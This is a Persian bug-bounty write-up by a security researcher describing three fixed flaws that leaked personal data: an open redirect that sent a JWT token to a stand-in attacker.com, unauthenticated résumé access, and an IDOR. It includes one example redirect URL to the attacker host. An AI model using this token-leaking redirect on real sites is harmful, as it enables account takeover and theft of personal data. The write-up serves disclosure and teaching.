چگونه توانستم آسیبپذیری PII را در هدفهای مربوط به سه میدان مختلف کشف کنم؟
آنچه میخوانید، رایتاپ رامین فرجپور، برنامهنویس و محقّق امنیتی، از فرآیند کشف آسیبپذیری بر روی سه برنامهی باگبانتی خصوصی در راورو است.
داخل پرانتز:
رامین گزارش مربوط به این آسیبپذیری را بر روی سه هدف خصوصی در پلتفرم باگبانتی راورو ثبت کرده و در حال حاضر این آسیبپذیریها رفع شده اند.
پیشنهاد خواندنی: اهداف عمومی، خصوصی و دعوتنامهای در راورو چه تفاوتی با هم دارند؟
شرح آسیبپذیری:
PII آسیبپذیریای است که در آن اطلاعات خاص با جزئیات خاصی در مورد یک فرد را ارائه میدهد، که به نوبهی خود به شناسایی و در دست گرفتن اطلاعات آن افراد کمک میکند. به عنوان مثال؛ اطلاعاتی که برای تشخیص دقیق هویت یک فرد استفاده میشود، مانند؛ آدرس، نام، شماره تلفن، شماره شناسایی، جنسیت، تاریخ تولد، آدرس ایمیل یا ترکیبی از این موارد از اطلاعات افراد توسط این آسیبپذیری قابل بهرهبرداریاند.
چه نوع اطلاعاتی را میتوان به عنوان اطلاعات قابلشناسایی شخصی (PII) در نظر گرفت؟
اطلاعات شناسایی شخصیای مانند:
هویت: شامل نام، تاریخ تولد، امضا، جنسیت، نژاد، نام مستعار و ... فرد میشود.
اطلاعات تماس: شامل آدرس محل سکونت، آدرس محل کار، شماره تلفن، شناسهی ایمیل و ... فرد میشود.
شماره شناسایی شخصی: شامل شماره aadhar، شماره حساب بانکی، شماره کارت PAN، شماره گواهینامه رانندگی، شماره پاسپورت و شماره کارت اعتباری فرد میشود.
اطلاعات حرفهای: شامل نقش و سِمّت شغلی، تاریخ عضویت، نام شرکت، حقوق، منابع انسانی و ... میشود.
مراقبتهای بهداشتی: شامل اثر انگشت فرد، اسکنر عنبیه، عکس، سوابق پزشکی شخصی و ... میشود.
مربوط به فناوری اطلاعات: عمدتاً شامل آدرس IP فرد، سابقهی مرور، اولویت تبلیغات، کوکیها و ... میشود.
چه کسی مسئول حفاظت از اطلاعات شناسایی شخصی (PII) است؟
محافظت از اطلاعات شناسایی شخصی کاربران، مسئولیت هر فرد و مسئولیت کسبوکارهایی است که دادههای کاربران را ذخیره میکنند. همانطور که فناوریهای جدید در حال گسترش هستند، انواع جدیدتری از تهدیدات و حملات نیز در حال گسترش هستند، مانند؛ MongoDB , Elasticsearch , Kibana , metrics و ... و این مسئولیت کسبوکارها در مراقبت از دادههای خود و اطلاعات کاربران و مشتریان خود را سنگینتر میکند. به طور کلی سازمان این اطمینان را حاصل میکند که از دادههای شما محافظت میکند. چراکه ممکن است با نشت اطلاعات کاربران، با صدمه به شهرتش مواجه شود و در نتیجه، مشتریان ارزشمندی را از دست بدهد. حتی اگر از سازمان واقعاً کمکاریای در جلوگیری از نشت دادهها، سر نزده باشد.
پیشنهاد خواندنی: حریم خصوصی دادهها؛ سرمایهای حساس
خب حالا بپردازیم به یک سری از آسیبپذیریهایی که باعث ایجاد آسیبپذیری PII شدهاند و در حال حاضر فیکس شدهاند:
Open redirect to PII leakage:
معمولا در صفحات login از این مکانیزم برای redirect کابران سایت استفاده میکنند ولی خب در اینجا بحث redirect کاربران به یک سایت نیست. در این آسیبپذیری کشفشده این امکان به مهاجم داده شده که توکن JWT را به سایت دیگری منتقل کند.
https://www.privatesite.com/login?url=https://attacker.com
خب ما در این URL میبینیم که پارامتر url توسط مهاجم تغییر داده شده است و کاربر به سایت attacker.com میرود. ولی خب این برای ما مهم نیست. اما در این redirect یک اتفاق دیگر هم میافتد:
یک token از JWT هم به همراه redirect انجامشده به سایت attacker.com ارسال میکند و این یعنی BOOM! توکن JWT توسط مهاجم در دسترس قرار میگیرد.
در این سناریو تصاحب حساب کاربری هم اتفاق میافتد که در این رایتاپ مدنظر ما نیست ... ولی بههرحال بیایید ببینیم در داخل این توکن چه چیزی وجود دارد ؛)
معمولا این توکن base64 است و حالا ما این توکن رو decode میکنیم.
که در تصویر بالا شمارهی کد ملی، نام پدر، تاریخ تولد و ... افشا شده است.
No authentication To PII:
این آسیبپذیری هیچگونه احراز هویت و بررسی برای دسترسی به رزومهها انجام نمیشود و رزومههای کاربران که در قالب pdf اند به راحتی در دسترس مهاجم قرار میگیرد. در این اطلاعات هویتی مانند تاریخ تولد، شماره موبایل، ایمیل و اطلاعات شغلی کاربر یافت میشود.
IDOR to PII:
یکی از مهمترین آسیبپذیریها IDOR است و اگر session کاربرهای فعلی چک نشود به راحتی باعث افشای اطلاعات دیگر کاربران میشود.
که در اینجا مهاجم به اطلاعات حساس کاربرانی که مقاله ایجاد کردهاند، دسترسی دارد و مواردی مانند: عنوان مقاله، نام و نام خانوادگی نویسندهی مقاله و موضوع مقاله افشا شده است.
سایر رایتاپهای منتشرشده از رامین فرجپور:
چگونه توانستم با تغییر آدرس action در فرم، Form Action Hijacking انجام بدم؟
حملهی HTTP Flooding در تایید ایمیل برای سوءاستفاده بدون دخالت کاربر
سایر رایتاپهای منتشرشده:
چگونه توانستم آسیبپذیری CRLF Injection را بر روی PayPal کشف کنم؟